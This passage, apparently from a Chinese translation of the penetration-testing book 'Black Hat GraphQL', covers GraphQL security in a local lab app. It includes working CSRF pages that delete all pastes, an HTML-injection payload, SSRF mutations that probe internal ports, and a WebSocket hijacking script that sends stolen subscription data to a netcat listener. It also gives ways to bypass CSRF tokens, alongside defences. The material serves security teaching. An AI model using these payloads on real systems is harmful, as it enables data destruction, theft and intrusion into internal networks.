%20表示空格,%7B%7D是变更查询的 URL 编码形式的左花括号({)和右花括号(}),加号(+)表示编码后的空格。将此发送给 DVGA 后,cURL 命令的响应如下:

{"errors":[{"message":"Can only perform a mutation operation from a POST request."}]}

如你所见,DVGA 不允许使用 GET 方法进行变更操作。然而,在渗透测试中,假设没有什么是不可行的,测试所有假设,因为你永远不知道何时会遇到一个完全自定义的 GraphQL 实现,它可能偏离了标准。

基于 GET 的 CSRF 攻击比基于 POST 的攻击更有趣,因为应用程序通常不会在 GET 请求上实现反 CSRF 防护。这是因为状态变化的操作通常使用其他 HTTP 方法。如果服务器允许通过 GET 方法进行变更操作,我们可以利用 HTML 锚点(<a>)标签和超文本引用属性(href)构建一个超链接,将变更操作发送到服务器。锚点标签只执行基于 GET 的请求,这也是为什么它不适合用来进行 POST 基础的 CSRF 攻击:

<a href="http://localhost:5013/graphql?query=mutation{someSensitiveAction}" />

或者,我们可以使用带有源(src)属性的图片标签(<img>)来嵌入我们的变更操作,像这样:

<img src="http://localhost:5013/graphql?query=mutation{someSensitiveAction}" />

这种技术适用于任何允许你指定看起来无害的 HTML 标签(如<a><img>)的平台。因此,除了诱使受害者访问包含这些链接的攻击者控制的网站之外,你还可以在接受 URL 并在客户端渲染链接的合法网站中使用它们。结果,客户端会向攻击者选择的另一个网站发出直接的 GET 请求。

虽然我们不能通过 GET 方法向 DVGA 发送变更操作,但我们可以尝试使用 GET 方法发送会改变状态的查询deleteAllPastes。顾名思义,deleteAllPastes 查询将删除服务器数据库中的所有粘贴。我们可以通过 GET 或 POST 来利用这个查询。

为了执行这样的 CSRF 攻击,本文档使用<form>标签来提交查询。通过<script> HTML 标签定义的 JavaScript 代码会在受害者加载页面后自动发起请求:

<html>
  <body>
    <h1>This form is going to submit itself in 2 seconds...</h1>
     <form id="auto_submit_form" **method="GET"** action="http://localhost:5013/graphql">
       <input type="hidden" name="query" value="**query { deleteAllPastes }**"/>
       <input type="submit" value="Submit">
     </form>
  </body>

<script>
function sleep(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));
}

async function csrf() {
    for (let i = 0; i < 2; i++) {
        await sleep(i * 1000);
    }
    document.forms['auto_submit_form'].submit();
}

csrf();

</script>
<html>

要测试此攻击,将文件 github.com/dolevf/Black-Hat-GraphQL/blob/master/ch09/get_csrf_submit_auto.html 保存到桌面作为 HTML 文件。确保 Burp Suite 正在拦截流量,然后将 HTML 文件拖放到浏览器窗口中。你应该能在两秒钟后看到发送的外发 HTTP GET 请求:

GET /graphql?query=**query+%7B+deleteAllPastes+%7D** HTTP/1.1
Host: localhost:5013
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
`--snip--`
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

我们可以利用 CSRF 来伪造一个删除所有粘贴内容的 GET 查询。现在让我们尝试使用 HTML 标签(例如 <a><img>)来触发基于 GET 的 CSRF 攻击。做到这一点的一种方法是创建一个 HTML 页面,通过 <img> 标签执行 GET 请求,就像列表 9-5 中的示例一样。

<html>
<body>
  <h1>GET-based CSRF using an image tag</h1>
  <img src="http://localhost:5013/graphql?query={deleteAllPastes}" style="display: none;" />
</body>
</html>

列表 9-5:使用图片标签的 GET 基于 CSRF 攻击

将此保存为 HTML 文件。如前所述,页面加载后它将立即执行,因为浏览器会尝试获取 src 属性中定义的 URL,并发送 GraphQL 查询。

使用 HTML 注入

我们可以通过滥用另一种漏洞来利用基于 GET 的 CSRF 攻击,例如HTML 注入,它允许攻击者将 HTML 标签注入网页中。如果受害者访问该网站,他们的浏览器将渲染这些 HTML 代码。特别是,如果攻击者能够使用 <a> 标签注入超链接或使用 <img> 标签注入图片链接,客户端在访问页面时会发起 GET 请求,遵循标签的默认行为。

我们能否通过 HTML 注入在 DVGA 上触发 CSRF 攻击?让我们来看看。打开 Firefox,导航到 http://localhost:5013,并转到 Public Pastes 页面。接着,打开开发者工具(CTRL-SHIFT-I),并转到 Network 标签。确保 Altair 指向 http://localhost:5013/graphql,然后输入 列表 9-6 中的突变代码,这将创建一个带有 CSRF 有效负载的粘贴内容。

mutation {
  createPaste(content:"<img src=\"http://localhost:5013/graphql?query= {
deleteAllPastes }\" </img>", title:"CSRF using image tags", public: true,
burn: false) {
    paste {
      id
      content
 }
  }
}

列表 9-6:创建包含 CSRF 有效负载的粘贴内容

此请求将包含 deleteAllPastes 查询的 <img> 标签注入到公共粘贴页面中。为了做到这一点,它依赖于 DVGA 通过使用 GraphQL 订阅(以 WebSocket 作为传输协议)来获取粘贴数据的事实。你的浏览器订阅了新的粘贴创建事件,因此每当创建新粘贴时,订阅会自动将其标题、内容和其他信息填充到页面中。通过将我们的有效负载放入 createPastecontent 字段,我们有效地将其嵌入到页面中。

现在,当客户端使用 createPastecontent 字段发送查询时,它们会渲染该有效负载。仔细观察当你发送查询后网络标签中发生的情况。你应该看到图 9-5 中显示的外发 GET 请求。

图 9-5:通过 HTML 图片标签发送的 GET 查询,包含 CSRF 有效负载

如果你刷新浏览器,你应该不会再看到任何粘贴内容,因为 CSRF 攻击应已将其删除。点击位于右上角下拉菜单中的 回滚 DVGA 以恢复服务器的原始状态。

我们已经讨论了基于 GET 和 POST 的 CSRF 攻击。我们还讨论了部分 GraphQL 服务器如何通过拒绝使用 GET 方法的变更操作来防止 CSRF 攻击,以及如何对此进行测试。接下来,让我们使用 BatchQL 和 GraphQL Cop 自动标记可能存在 CSRF 漏洞的 GraphQL 服务器。

使用 BatchQL 和 GraphQL Cop 自动化测试

BatchQL 有多个与 CSRF 相关的测试用例。让我们将其应用于 DVGA,看看我们能获得哪些关于其 CSRF 漏洞的信息:

# cd ~/batchql
# python3 batch.py -e http://localhost:5013/graphql | grep -i CSRF

CSRF GET based successful. Please confirm that this is a valid issue.
CSRF POST based successful. Please confirm that this is a valid issue.

如你所见,我们使用了带 -i 标志的 grep 来筛选出与 CSRF 漏洞无关的结果。BatchQL 检测到 GET 和 POST 都允许非 JSON 基础的查询。

GraphQL Cop 在测试 CSRF 漏洞方面与 BatchQL 相似,只不过它额外测试服务器是否支持 GET 方法下的变更操作:

# cd ~/graphql-cop
# python3 graphql-cop.py -t http://localhost:5013/graphql | grep -i CSRF

[MEDIUM] GET Method Query Support - GraphQL queries allowed
using the GET method (Possible Cross Site Request Forgery (CSRF))
[MEDIUM] POST based url-encoded query (possible CSRF) - GraphQL accepts
non-JSON queries over POST (Possible Cross Site Request Forgery)

自动化工具可能会引入误报,因此我们建议始终手动验证其结果的准确性。

防止 CSRF

自 CSRF 被发现以来,浏览器厂商如 Mozilla 和 Google 已大大改进了其 CSRF 缓解措施。各种开源 Web 服务器框架也使得 CSRF 漏洞变得极难利用。本节解释了今天浏览器和服务器层面上存在的 CSRF 缓解措施。

SameSite 标志

浏览器已开始支持一种特殊的 HTTP cookie 属性,名为 SameSite。这个属性允许开发人员决定在进行跨站请求时,客户端浏览器是否应附带该 cookie。要设置此 cookie 属性,应用程序需要设置一个 Set-Cookie 响应头。这可以阻止 CSRF 攻击从攻击者网站(如 attacker.com)向目标网站(如 banking.com)发送请求。

使用 SameSite 属性的一大挑战是旧版浏览器可能不支持该属性。然而,大多数现代浏览器都支持该属性。Mozilla 的开发者网站有一个专门的板块,介绍了 SameSite 在浏览器中的支持情况,开发者可以作为参考。

SameSite cookie 属性接受三个值:

Strict 仅在用户浏览同一源时发送 cookie

Lax 仅在请求使用 HTTP GET 并且不是由脚本发起时(例如通过顶级导航)发送 cookies。

None 在跨站请求时发送 cookie,实际上提供了零保护。

设置了 SameSite 属性的 GraphQL 服务器将返回一个 Set-Cookie HTTP 响应头:

Set-Cookie: session=mysecretsession; SameSite=Strict

当网站设置 cookie 时未指定 SameSite 属性时,现代浏览器(如 Chrome)会默认将其设置为 Lax。当 cookie 的值设置为 Strict 时,如果发生 CSRF 攻击,cookie 将不会在跨站请求中发送。

反 CSRF 令牌

为了在服务器级别防止 CSRF 漏洞,web 框架引入了 反 CSRF 令牌。这些令牌是难以猜测、加密强度高且唯一的字符串,由服务器生成。服务器期望客户端在每个请求中都传递反 CSRF 令牌。当服务器看到没有此类令牌的请求时,会拒绝该请求。

服务器可以每次请求生成反 CSRF 令牌,或者为用户会话的生命周期生成一次。每次请求生成令牌是一种更强的缓解措施,也更难以被攻破,因为它减少了攻击者获取有效令牌的时间。一旦令牌失效,服务器应该不再接受该令牌。

客户端通常通过 HTTP 请求头(如 X-CSRF-TOKEN)或 HTTP 请求体参数(如 csrf-token)将反 CSRF 令牌发送到服务器。许多 web 框架内置支持 CSRF 防护,使开发者能够构建安全的应用程序,而无需从头实现 CSRF 防御。以下是一个包含反 CSRF 令牌的 HTTP 请求示例:

POST /graphql HTTP/1.1
Host: localhost:5013
Content-Length: 19
Content-Type: application/x-www-form-urlencode
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.3

query=mutation+%7B+createPaste%28title%3A%22CSRF%22%2C+content%3A%22content%22
%2C+public%3Atrue%2C+burn%3A+false%29+%7B+paste+%7B+id+content+title+burn+%7D+
%7D%7D&**csrf-token=asij2nrsc82kssadis**

需要记住的是,像其他任何安全控制一样,如果令牌实现不当,也可能被攻破。以下是攻击者可能绕过反 CSRF 令牌的一些方式:

  • 移除 CSRF 令牌值。 一些反 CSRF 实现可能会在存在 CSRF 参数但未设置值的情况下失败,导致空值。

  • 完全移除 CSRF 参数和令牌值。 一些反 CSRF 实现可能会在未设置参数时失败。

  • 在后续请求中重复使用 CSRF 令牌。 如果攻击者能够捕获一个有效的反 CSRF 令牌,例如属于他们自己会话的令牌,并且服务器没有使已经使用的令牌失效,那么该令牌可能会在 CSRF 攻击中被重用。

  • 用相同字符长度的随机字符串替换 CSRF 令牌。 一些服务器可能只检查令牌值并验证其长度。如果长度与正常令牌的长度相等(例如,14 个字符),它们可能会允许请求通过。

  • 暴力破解 CSRF 令牌。 一些 CSRF 令牌可能在加密上较弱,允许攻击者进行暴力破解。例如,它们可能较短,使用可预测的模式,或采用较弱的加密算法。

浏览器和服务器级别的 CSRF 防护结合在一起,遵循深度防御安全原则,使得 CSRF 攻击更难以被攻击者利用。

服务器端请求伪造

SSRF允许攻击者代表受影响的服务器执行请求。使用 SSRF,攻击者可以迫使服务器建立与内部服务的连接,通常提供对受限网络区域、内部 API 和敏感数据的访问。Web 应用程序可以通过多种方式引入 SSRF。应用程序经常向客户端公开功能,让客户端提供输入,并使用它执行特定的操作。例如,考虑一个允许用户提供来自特定网站(如imgur.com)的照片 URL 的应用程序。然后,应用程序会下载照片,并将其作为附件通过电子邮件发送给用户。

在这个示例中,应用程序期望两个输入:一个指向包含图像的imgur.com的 URL,和一个电子邮件地址。如果攻击者提供其他输入,比如类似http://lab.blackhatgraphql.com/cat.png这样的 URL 和info@blackhatgraphql.com这样的电子邮件地址,会怎么样?如果应用程序不验证输入,比如确保 URL 的域名是imgur.com,那么一旦用户提交这些信息,应用程序可能会尝试访问由攻击者控制的网站,将图像下载到磁盘并保存到文件夹中。然后可能会使用命令行实用程序或脚本将带有附件的电子邮件发送给用户。

攻击者还可以提供各种 URL 作为输入,包括包含私有非路由 IP 地址的 URL(如172.16.0.0/2410.10.0.0/24)。如果服务器恰好存在于这些范围存在的网络上,可能会执行对内部服务的调用,如数据库或网络上的内部网站,允许攻击者读取本应无法访问的服务器的响应。攻击者还可以尝试猜测内部 URL,希望能够着陆到解析为内部地址的有效 URL(如internal.example.cominternal2.example.com等)。

随着云基础设施的采用,SSRF 已成为黑客发现的最大漏洞之一。这是因为许多云提供商托管元数据端点 URL,允许云实例读取关于自身的信息,如分配给实例的角色和正在使用的凭据。由于 SSRF 可能允许攻击者进行内部调用,它可以使他们能够获取有关易受攻击服务器的敏感信息的能力。

攻击者可以尝试对除了 HTTP 之外的多种协议进行 SSRF,例如文件传输协议(FTP)、服务器消息块(SMB)、轻量目录访问协议(LDAP)等等。而且,就像其他 API 技术一样,GraphQL 对 SSRF 漏洞也并不免疫。

理解 SSRF 的类型

在进行 GraphQL 渗透测试时,可能会遇到三种类型的 SSRF 漏洞。就像你在第八章学到的盲目 SQL 注入一样,盲目 SSRF 漏洞不会提供任何具体的可视化标志来表明漏洞的存在。相反,攻击者可以通过使用可以监听各种协议消息的带外利用工具,推断漏洞的存在。

例如,回想一下我们之前讨论的 URL 图像获取服务。在利用盲目 SSRF 时,攻击者可能能够通过捕获托管 lab.blackhatgraphql.com 的远程服务器上的流量来判断应用程序是否存在漏洞。当攻击者提交 URL http://lab.blackhatgraphql.com/cat.png 时,应用程序可能会在尝试通过 HTTP 执行图像获取之前,先在不同协议上发起某些连接,例如在端口 80 上的 TCP 连接。这可能表明应用程序正在尝试连接攻击者控制的服务器。

另一种确定盲目 SSRF 存在的方法是通过时序分析。攻击者可以在人为控制的服务器返回的 HTTP 响应中引入故意的人工延迟,然后通过受害应用程序返回响应所花费的时间来确定攻击是否成功。

顾名思义,半盲 SSRF 提供了一些证据,但不是完全的指示,表明 SSRF 漏洞存在。这些信息可能包括错误或部分服务器响应。想象一下,攻击者尝试提交各种内部 URL 给图像获取服务,以试图发现主机所在的网络。例如,他们可能提交 http://10.10.0.254/index.htmlhttp://172.12.0.254/index.html。在成功的尝试中,应用程序可能会发送没有附件的电子邮件,而在失败的尝试中,则根本不会发送电子邮件。

最后一种类型的 SSRF 是渗透测试人员希望发现的类型:非盲 SSRF(也称为 完全读取 SSRF),在这种情况下,服务器会向攻击者返回完整的响应,表明 SSRF 漏洞的存在。在图像获取服务的示例中,我们可能会在向应用程序提供非图像类 URL 后看到完整的 HTTP 响应。

搜索易受攻击的操作、字段和参数

在测试 GraphQL 服务器是否存在 SSRF 时,需要检查所有可能的操作,无论是变更操作还是查询操作。如你所料,SSRF 通常影响一个或多个接受值的易受攻击的 GraphQL 参数,例如标量。

还要特别注意 GraphQL 字段名称,看看它们的设计目的是什么。例如,字段名包含动词如 fetchimportdownloadread,可能暗示着服务器执行某个操作,如从某个地方读取数据或获取资源。除了字段名称,某些参数名称可能表明服务器正在尝试执行外部连接以解析查询。以下是一些例子:

  1. ip

  2. url

  3. host

  4. network

  5. domain

  6. site

  7. target

  8. fetch

  9. img_url

  10. target_url

  11. remote_url

这只是一个部分列表,但它可以帮助你了解哪些关键词可能具有提示作用。

测试 SSRF 漏洞

让我们通过 Burp Suite 来测试 DVGA 的 SSRF 漏洞。点击打开浏览器,打开内置浏览器。然后,快速浏览 DVGA 的网页界面。有任何异常之处吗?比如在图 9-6 中显示的导入粘贴页面呢?

图 9-6:DVGA 的导入粘贴页面

从 URL 导入表单接收一个 URL 并尝试从中导入粘贴内容。要查看提交 URL 后发生的情况,在 Burp Suite 中启用拦截模式,输入任意 URL 到搜索框,然后点击提交。(这是一个可以导入的粘贴示例:https://pastebin.com/raw/LQ6u1qyi。)你应该能在 Burp 中看到类似以下的请求:

POST /graphql HTTP/1.1
Host: localhost:5013
Content-Length: 302
Accept: application/json
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
`--snip--`
Origin: http://localhost:5013
Referer: http://localhost:5013/import_paste
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: env=graphiql:disable
Connection: close

{"query":"mutation ImportPaste ($host: String!, $port: Int!, $path: String!,
$scheme: String!) {\n        importPaste(**host:** $host, **port:** $port, **path:** $path,
**scheme:** $scheme) {\n          result\n        }\n }","variables":{"host":"pastebin.com","port":443,"path":"/raw/LQ6u1qyi",
"scheme":"https"}}

如你所见,请求使用了 importPaste 变更操作,接受四个参数:hostportpathscheme。POST JSON 负载包含 variables 键,用于将 URL 组件(值)传递给这些参数。

在后台,DVGA 使用 URL 作为 HTTP GET 请求的一部分,读取响应,并将其添加到粘贴数据库中。要查看导入的内容,点击 Burp Suite 中的转发按钮,将请求发送到 GraphQL 服务器,关闭拦截模式,然后进入私人粘贴页面。

从底层来看,GraphQL 发起了一个 HTTP 请求,从 URL 中检索该内容。这种功能明显是 SSRF 漏洞的表现!让我们手动探索相同的 GraphQL 查询,修改其中的一些值。变更操作见清单 9-7。

mutation {
  importPaste(scheme: "https", host:"pastebin.com", port:443, path:"/raw/LQ6u1qyi") {
    result
  }
}

清单 9-7:importPaste 变更操作

如果你仔细观察,这四个参数组成了 GraphQL 构建 URL 的基本元素(在这个例子中是 https://pastebin.com:443/raw/LQ6u1qyi)。如果我们能使用 HTTP(或 HTTPS)协议,并提供任意的域名和端口,那么就没有什么可以阻止我们在 DVGA 网络上探查其他服务了,对吧?

让我们看看当我们指定内部 URL 而非外部 URL 时会发生什么。在清单 9-8 中,我们指定了一个不同的 URL 目的地来导入粘贴内容。该变更操作将迫使 DVGA 通过 HTTP 请求从 http://localhost:8080/paste.txt 导入粘贴。请注意,虽然 localhost 是一个有效的主机,但端口 8080 在 DVGA 容器上并未开放,因此这个请求不会返回任何有意义的内容。

mutation {
  importPaste(scheme: "http", host:"localhost", port:8080, path:"/paste.txt") {
    result
  }
}

清单 9-8:恶意版本的 importPaste 变更请求

在运行变更请求后,你应该从 Altair 中看到如下响应:

{
  "data": {
    "importPaste": {
      "result": ""
    }
  }
}

服务器返回了一个空的 result 对象值。我们在 Altair 中很快就得到了这个响应。(在我们的实验室中,我们在 100 毫秒内就收到了。)因此,我们现在知道,如果我们探测一个未打开的端口,就会立即收到没有数据的 result JSON 键。

接下来,让我们通过探测一个存在的服务来模拟 SSRF 漏洞。为了模拟 DVGA 容器上的额外服务,我们将使用 Netcat。首先,在 Kali 终端中运行以下 Docker 命令,在 DVGA 容器中启动一个 Netcat 监听器:

# sudo docker exec -it dvga nc -lvp 7773

listening on [::]:7773 ...

接下来,我们将构造一个有效载荷,向 Netcat 正在绑定的端口(7773)发送 HTTP 探测请求,如 清单 9-9 所示。

mutation {
  importPaste(scheme: "http", host:"localhost", port:7773, path: "/ssrf") {
    result
  }
}

清单 9-9:利用 SSRF 漏洞的变更查询

如果你发送此查询,你应该会在 Netcat 监听器中看到类似 清单 9-10 的输出。

connect to [::ffff:127.0.0.1]:7773 from localhost:55554 ([::ffff:127.0.0.1]:55554)
GET /ssrf HTTP/1.1
Host: localhost:7773
User-Agent: curl/7.83.1
Accept: */*

清单 9-10:DVGA 请求到达内部服务

这表明 DVGA 向一个内部的、未公开的端口发送了 GET 请求。请注意,这个端口并不直接由 Kali 机器访问;我们是通过 DVGA 本身来访问它,说明了 SSRF 漏洞如何让攻击者访问他们本不应直接访问的服务。这个 SSRF 攻击更具体地说是一种 跨站端口攻击(XSPA),属于 SSRF 漏洞类别。

你可能也注意到,在发送了 importPaste 变更请求后,Altair 会卡住,见 清单 9-10。这是因为我们打开的 Netcat 监听器没有返回响应,而 Altair 等待直到收到来自 GraphQL API 的响应。这实际上是一个盲 SSRF,因为作为攻击者我们无法直接访问响应;我们所知道的只是,当我们探测一个打开的端口时,客户端会卡住。你可以通过按 CTRL-C 来关闭 Netcat 监听器。此时,Altair 状态应该恢复正常。

防止 SSRF

要判断一个应用是否可能容易受到 SSRF 攻击,我们可以问自己这个问题:客户端是否控制 API 流程中任何目标 URL?SSRF 主要涉及通过将目标 URL 定向到意外的、受限的内部或外部位置来操纵目标 URL。以下是一些防范此类攻击的策略:

  • 输入验证。 允许拒绝传递给接受 URL 作为查询或变更的一部分的 GraphQL 参数中的危险字符。确保仅接受授权的 URL,并帮助降低 SSRF 风险。

  • 网络分段。 通过确保应用程序只能与相关的内部网络通信,帮助最小化风险。在你的暂存网络中,如果一个脆弱的 GraphQL API 不应当能够访问生产网络中的另一个 GraphQL API。

  • 威胁建模。可以在 GraphQL API 的开发生命周期中及早识别潜在风险,更具体地说,识别可能受到 SSRF 攻击的查询或突变。

  • 最小权限原则。有助于最小化影响范围。确保 GraphQL 运行的实例没有过度宽松的权限,并且无法在多个应用间执行特权操作。

在接下来的章节中,我们将讨论基于劫持的漏洞,这些漏洞影响 GraphQL 订阅。

跨站点 WebSocket 劫持

如果攻击者能够通过获取会话 cookie 来劫持用户会话,这些 cookie 授予应用程序的特殊权限,他们就可以使用受害者的权限执行操作并访问其敏感数据。CSWSH 是一种影响 WebSocket 通信握手部分的 CSRF 漏洞,这些通信使用基于 cookie 的认证。因为 GraphQL API 可以使用 WebSocket 进行订阅操作,所以它们面临着 CSWSH 漏洞的风险。

在第三章中,我们展示了在使用 WebSocket 进行 GraphQL 订阅通信时,客户端和服务器之间发送的握手请求和响应。客户端通过 HTTP 发起这些 WebSocket 握手,并且如果 WebSocket 服务器实现了认证,可能会包括类似以下的 cookie:

Cookie: session=somesessionID

CSWSH 可能发生在 WebSocket 连接握手中未包含反 CSRF 令牌时,这样攻击者就可以执行跨源请求。当没有此类令牌时,攻击者可以轻松编写特定代码,伪造 WebSocket 消息,代表受害者使用其认证会话。

除了反 CSRF 令牌外,WebSocket 服务器还应该验证 WebSocket 握手请求中的 Origin 头部。Origin 头部具有重要的安全功能,因为它标识了请求的来源。如果服务器没有检查此头部,它将无法知道握手请求是否是伪造的。任何来自未经授权来源的握手请求应该返回 403 Forbidden 响应码,而不是 101 Switching Protocols

查找订阅操作

CSWSH 漏洞存在于传输协议层,因此并不是 GraphQL 本身的缺陷。在 GraphQL 的上下文中,只有当 GraphQL API 使用订阅进行实时更新时,你才会发现这些漏洞。因此,为了测试 CSWSH,我们首先需要知道目标应用是否有任何与订阅相关的字段。为了发现这一点,我们可以使用依赖于 subscriptionType 的 introspection 查询来获取字段名,如 示例 9-11 所示。

query {
  __schema {
    subscriptionType {
      fields {
        name
      }
    }
  }
}

示例 9-11:通过使用 introspection 获取订阅字段名

如果你在 Altair 中针对 DVGA 运行此查询,你应该会注意到架构中有一个名为 paste 的字段,订阅操作可以使用该字段。

劫持订阅查询

现在,让我们劫持一个订阅查询并提取它的响应。为了模拟这个攻击,我们将采取以下步骤。从攻击者的角度来看,我们将在端口 4444 上打开一个 Netcat TCP 监听器,用于接收提取的响应。接下来,从受害者的角度来看,我们将通过将一个 HTML 文件拖入浏览器来模拟用户成为社交工程攻击的受害者,这样它会加载 JavaScript 代码,劫持用户的会话,进行 WebSocket 握手并订阅paste事件。我们还将在 DVGA 中创建一个新的粘贴内容,以供订阅查询提取。这将模拟受害者可能访问但攻击者不应访问的网站活动。最后,我们将读取通过 Netcat 获取的提取响应。

让我们首先检查底层代码,了解攻击模式。将 CSWSH 劫持代码保存到github.com/dolevf/Black-Hat-GraphQL/blob/master/ch09/websockets_hijack.html并保存在桌面上。确保文件名具有.html扩展名。清单 9-12 显示了代码。

<html>
  <h2>WebSockets Hijacking and GraphQL Subscription Response Exfiltration Demo</h2>
</html>

<script>
    const GQL = {
      CONNECTION_INIT: 'connection_init',
      CONNECTION_ACK: 'connection_ack',
      CONNECTION_ERROR: 'connection_error',
      CONNECTION_KEEP_ALIVE: 'ka',
      START: 'start',
      STOP: 'stop',
      CONNECTION_TERMINATE: 'connection_terminate',
      DATA: 'data',
      ERROR: 'error',
      COMPLETE: 'complete'
    }

  ws = new WebSocket('ws://localhost:5013/subscriptions'); ❶
  ws.onopen = function start(event) {
        var query = 'subscription getPaste {paste { id title content
ipAddr userAgent public owner {name} } }'; ❷

        var graphqlMsg = {
             type: GQL.START,
             payload: {query}
        };
        ws.send(JSON.stringify(graphqlMsg)); ❸
  }
  ws.onmessage = function handleReply(event) {
    data = JSON.parse(event.data) ❹
    fetch('http://localhost:4444/?'+ JSON.stringify(data), {mode: 'no-cors'}); ❺
  }
</script>

清单 9-12:执行 WebSocket 劫持的 JavaScript 代码

我们初始化一个新的WebSocket对象,并指定 DVGA 的订阅 URL ❶。在❷处,我们声明一个query变量,其中包含订阅查询。该查询订阅paste事件,并提取字段,如idtitlecontentipAddruserAgentpublic和所有者的name。在❸处,我们通过 WebSocket 协议发送一个包含此查询的 JSON 字符串。发送完消息后,当收到 WebSocket 消息时,将调用ws.onmessage事件处理程序。该处理程序会将消息解析为 JSON 对象 ❹。消息解析完成后,代码在❺处通过使用 GET URL 参数将响应提取到目标位置(在此情况下是http://localhost:4444)。

让我们开始吧!在终端窗口中,运行以下命令以启动 Netcat 监听器:

# nc -vlp 4444

listening on [any] 4444 ...

我们传递给 Netcat 的-vlp标志告诉它在端口(-p)4444 上以详细模式(-v)进行监听(-l)。接下来,打开一个浏览器窗口,并将你之前下载的 HTML 文件拖入浏览器窗口。你应该会看到图 9-7 所示的页面。

图 9-7:WebSocket 劫持演示

接下来,打开另一个浏览器窗口,点击左侧的创建粘贴以打开http://localhost:5013上的“创建粘贴”页面。输入你能识别的标题和信息,如图 9-8 所示。

图 9-8:DVGA 中的粘贴创建

接下来,点击提交,并密切关注 Netcat 运行的终端窗口。你应该会看到类似这样的输出:

listening on [any] 4444 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 50198
GET /?**{%22type%22:%22data%22,%22payload%22:{%22data%22:{%22paste%22:{%22id%22:**
**%2214%22,%22title%22:%22This%20will%20get%20exfiltrated!%22,%22content%22:%22**
**Exiltrated%20Data%22,%22ipAddr%22:%22172.17.0.1%22,%22userAgent%22:%22**
**Mozilla/5.0%20(Windows%20NT%2010.0;%20Win64;%20x64)%20AppleWebKit/537**
**.36%20(KHTML,%20like%20Gecko)%20Chrome/96.0.4664.45%20Safari/537.36%22,**
**%22public%22:true,%22owner%22:{%22name%22:%22DVGAUser%22}}}}}** HTTP/1.1
Host: localhost:4444
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
sec-ch-ua-platform: "Linux"
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Netcat 接收到来自受害者的 GET 请求,包含提取的粘贴数据。你可以看到请求的 URL 参数以 /?{%22type 开头。有效载荷经过 URL 编码,但解码后,你可以立即识别出它是我们通过 DVGA 用户界面创建的粘贴数据。你可以使用类似 meyerweb.com/eric/tools/dencoder 的网站,或者通过在终端使用 Python 来进行这种 URL 解码,如 示例 9-13 所示。

# echo** `'ADD-STRING-HERE'` **| python3 -c "import sys;
**from urllib.parse import unquote; print(unquote(sys.stdin.read()));"**

示例 9-13:使用 Python 进行 URL 解码

我们通过强制客户端访问一个攻击者控制的网站,成功地提取了数据。该网站的自定义代码发送伪造的跨站 WebSocket 消息,并将响应数据传送到远程 Netcat 监听器。

防止 CSWSH

因为 CSWSH 是一种 CSRF 攻击,你可以通过使用 CSRF 防护技术来防止它。使用除 cookies 以外的身份验证方式(如 JWT)来认证客户端的 WebSocket 服务器,也可以提供保护。当服务器使用 JWT 令牌时,跨站 WebSocket 消息如果没有正确的头部将无法进行身份验证,从而导致握手失败。

验证 Origin 头部对于防止 CSWSH 攻击也至关重要,从黑客的角度来看,这项验证值得测试是否能绕过。服务器可能会以不同的方式检查该头部。例如,如果应用程序只允许 example.com 作为来源,攻击者可能会尝试创建一个将其用作子域的域名,如 example.com.attacker.net。如果服务器以简单的方式(例如,仅检查字符串 example.com)验证 Origin 头部,这样的攻击可能会绕过验证逻辑。

总结

本章介绍了影响 GraphQL API 消费者和服务器的攻击。通过基于 GET 和 POST 的 CSRF 攻击,攻击者可以伪造客户端的查询和突变。通过使用 CSWSH 劫持 WebSocket 通信,攻击者可以提取 GraphQL 订阅响应。最后,SSRF 允许攻击者伪造服务器请求,并可能访问内部资源。

第十章:已披露的漏洞和漏洞利用

本章专门探讨实际的黑客报告。这些之前发现的 GraphQL 漏洞和漏洞利用将加深你对本书内容的理解,并希望能激发你进行自己的安全研究。

在整本书中,你学习了许多在实验室环境中测试 GraphQL API 的方法。但在实际场景中,你可能会遇到一些独特的漏洞,这些漏洞只出现在你测试的特定应用程序中。在本章中,你将发现一些漏洞可能非常具体。每当你学习一种新技术时,回顾公开可用的黑客报告有很多好处。本章将非常有用,因为你将发现以下内容:

  • 来自社区其他成员的新黑客技术

  • 其他黑客公开披露漏洞的方式,包括他们报告的技术深度,以及如何与外部公司沟通、评估漏洞的严重性,并展示其对业务的实际影响。

  • 识别公司最关心的软件弱点的方法

  • 现实世界中 GraphQL 应用的设计与实现,以及公司在生产环境中经常处理的漏洞类型

  • 公司在漏洞缓解方面的做法,因为为软件安全缺陷找到一个长期的缓解策略和知道如何破解软件一样重要。

如你所见,每当你学到新东西时,很可能有人已经做过相关工作,能为你提供一个良好的起点。

拒绝服务(Denial of Service)

在本节中,我们将回顾公开披露的报告,这些报告对多个公司的 API 造成了 DoS 影响(其中一些公司可能你已经熟悉)。记住在第五章提到,GraphQL 中的 DoS 漏洞非常常见,因为查询语言的强大功能。让我们来探讨这些问题对服务器的影响有多大。

大负载(HackerOne)

HackerOne 的漏洞悬赏平台在其生产环境中广泛使用 GraphQL。除了托管其他公司的漏洞悬赏项目外,它还运行自己的项目,黑客可以用它来披露在平台上发现的安全问题。

2020 年 5 月,一位黑客披露了这样的一个漏洞(hackerone.com/reports/887321)。他们发现,尽管 HackerOne 文档中指出 API 查询输入有字符限制,但实际上并未执行该限制。

为了测试该漏洞,黑客编写了一个基于 Python 的漏洞利用代码(已包含在报告中),其功能如下:

  1. 设置一些必要的 HTTP 请求信息,如 cookies 和授权头。

  2. 初始化一个空字符串变量,a

  3. 执行for循环 15,000 次,并将字符字符串添加到a中,有效地创建了一个包含 15,000 个字符的字符串。

